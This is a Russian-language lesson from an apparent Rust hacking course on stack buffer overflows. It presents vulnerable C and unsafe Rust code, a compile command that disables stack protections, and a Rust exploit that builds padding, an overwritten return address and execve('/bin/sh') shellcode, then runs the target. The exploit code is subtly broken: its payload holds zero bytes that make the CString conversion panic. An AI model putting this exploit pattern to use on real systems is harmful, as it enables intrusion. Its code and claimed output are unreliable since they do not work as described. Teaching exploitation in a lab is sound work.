Курс — Хакинг на Rust. #15 Инструменты хакера на Rust. Создание эксплойтов: Переполнение буфера и его обход в Rust
Здравствуйте, дорогие друзья.
Буферные переполнения — классическая уязвимость, которая до сих пор эксплуатируется в С/C++ приложениях. Rust, благодаря строгой системе владения, защищает от таких ошибок на уровне компиляции. Однако при использовании unsafe
или интеграции с C-кодом эти уязвимости могут возникать. В этом разделе мы разберем, как создавать и обезвреживать эксплойты, манипулируя стеком и памятью.
5.1. Буферные переполнения: теория и пример на C
Что такое буферное переполнение?
Перезапись области памяти за пределами выделенного буфера, часто приводящая к изменению потока выполнения программы.
Пример уязвимого кода на C
1 2 3 4 5 6 7 8 9 10 11 |
#include <string.h> void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // Нет проверки длины } int main(int argc, char **argv) { vulnerable_function(argv[1]); return 0; } |
Здесь переполнение позволяет перезаписать адрес возврата из функции, перехватывая управление.
5.2. Почему Rust безопаснее?
Rust предотвращает подобные уязвимости:
- Автоматическое управление памятью через владение (ownership).
- Проверки границ в безопасном коде: индексация массива вызывает панику при выходе за пределы.
Пример безопасного кода на Rust
1 2 3 4 5 |
fn safe_function(input: &str) { let buffer = input.as_bytes(); // Невозможно переполнить: выход за границы вызовет panic! println!("{:?}", &buffer[..64]); } |
5.3. Уязвимости в unsafe-коде
Однако при использовании unsafe
защита отключается. Рассмотрим пример:
Уязвимая функция на Rust
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
use std::ffi::CString; fn vulnerable_copy(input: &str) { let c_str = CString::new(input).unwrap(); let mut buffer = [0u8; 64]; unsafe { // Копируем без проверки длины std::ptr::copy_nonoverlapping( c_str.as_ptr(), buffer.as_mut_ptr(), c_str.as_bytes().len() ); } } |
Здесь copy_nonoverlapping
не проверяет размер буфера, что приводит к переполнению.
5.4. Эксплуатация уязвимости
В этом примере мы создадим Rust-программу, которая генерирует payload для эксплуатации уязвимости из раздела 5.3. Мы будем использовать библиотеки nix
и libc
для взаимодействия с процессами и памятью.
Шаг 1: Подготовка уязвимой программы
Скомпилируйте следующий код с отключенными защитами:
1 |
gcc -fno-stack-protector -z execstack -o vulnerable vulnerable.c |
vulnerable.c (аналог кода из раздела 5.3):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
#include <stdio.h> #include <string.h> void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); // Уязвимая функция } int main(int argc, char **argv) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; } |
Шаг 2: Написание эксплойта на Rust
Добавьте зависимости в Cargo.toml
:
1 2 3 4 |
[dependencies] nix = "0.26.0" libc = "0.2.144" byteorder = "1.4.3" |
exploit.rs :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
use nix::unistd::{fork, ForkResult}; use libc::{c_char, c_void}; use std::ffi::CString; use std::ptr; use byteorder::{LittleEndian, WriteBytesExt}; const OFFSET: usize = 72; // Смещение до RIP (уточните через gdb) fn main() { let shellcode = [ 0x48, 0x31, 0xc0, // xor rax, rax 0x50, // push rax 0x48, 0xbf, // movabs rdi, '/bin/sh' b'/', b'b', b'i', b'n', b'/', b's', b'h', 0x00, 0x57, // push rdi 0x48, 0x89, 0xe7, // mov rdi, rsp 0x48, 0x31, 0xf6, // xor rsi, rsi 0x48, 0x31, 0xd2, // xor rdx, rdx 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // mov rax, 0x3b 0x0f, 0x05 // syscall ]; // Адрес в стеке, куда попадет shellcode let return_address = 0x7fffffffe000 as *mut c_void; // Формируем payload let mut payload: Vec<u8> = Vec::with_capacity(OFFSET + 8 + shellcode.len()); // Заполняем буфер до смещения payload.extend(vec![b'A'; OFFSET]); // Перезаписываем RIP адресом shellcode payload.write_u64::<LittleEndian>(return_address as u64).unwrap(); // Добавляем shellcode payload.extend(shellcode); // Преобразуем в C-строку let c_payload = CString::new(payload).unwrap(); // Запускаем уязвимую программу match unsafe { fork() } { Ok(ForkResult::Parent { child, .. }) => { println!("[*] Дочерний процесс: {}", child); } Ok(ForkResult::Child) => { let args = [CString::new("./vulnerable").unwrap(), c_payload]; let args_ptr: Vec<*const c_char> = args.iter().map(|s| s.as_ptr()).collect(); unsafe { libc::execvp( args_ptr[0], args_ptr.as_ptr() as *const *const c_char ); } } Err(_) => panic!("Ошибка fork()"), } } |
Шаг 3: Объяснение кода
- Shellcode :
- Использует системный вызов
execve("/bin/sh", NULL, NULL)
(код0x3b
в x86_64). - Сгенерирован с помощью
pwntools
илиmsfvenom
.
- Использует системный вызов
- Payload :
OFFSET
байт мусора для достижения RIP.- Адрес в стеке (
return_address
), куда будет записан shellcode. - Сам shellcode.
- Запуск процесса :
fork()
создает дочерний процесс.execvp
запускает уязвимую программу с payload в качестве аргумента.
Шаг 4: Запуск эксплойта
1 2 3 4 |
$ cargo run [*] Дочерний процесс: 12345 $ whoami user |
Важные замечания
- Адреса :
return_address
зависит от среды. Используйтеgdb
для точного определения. - DEP/ASLR : Пример работает только при отключенных защитах. Для обхода используйте ROP-цепочки.
- Этика : Используйте только в образовательных целях на своих системах.
Этот пример демонстрирует базовые принципы эксплуатации, но реальные сценарии требуют анализа конкретных бинарников и обхода современных защит.
5.5. Обход защиты: DEP и ASLR
DEP (Data Execution Prevention) запрещает выполнение кода в стеке.
Решение: Использовать ROP-цепочки — переиспользовать существующие фрагменты кода (gadgets).
Итоги раздела
- Rust защищает от буферных переполнений, но
unsafe
и FFI требуют осторожности. - Эксплуатация возможна через ROP-цепочки и обход DEP/ASLR.
- Используйте фаззинг и статический анализ для поиска уязвимостей.
В следующей главе мы перейдем к сетевым атакам, включая ARP-спуфинг и создание снифферов на Rust.

На этом все. Всем хорошего дня!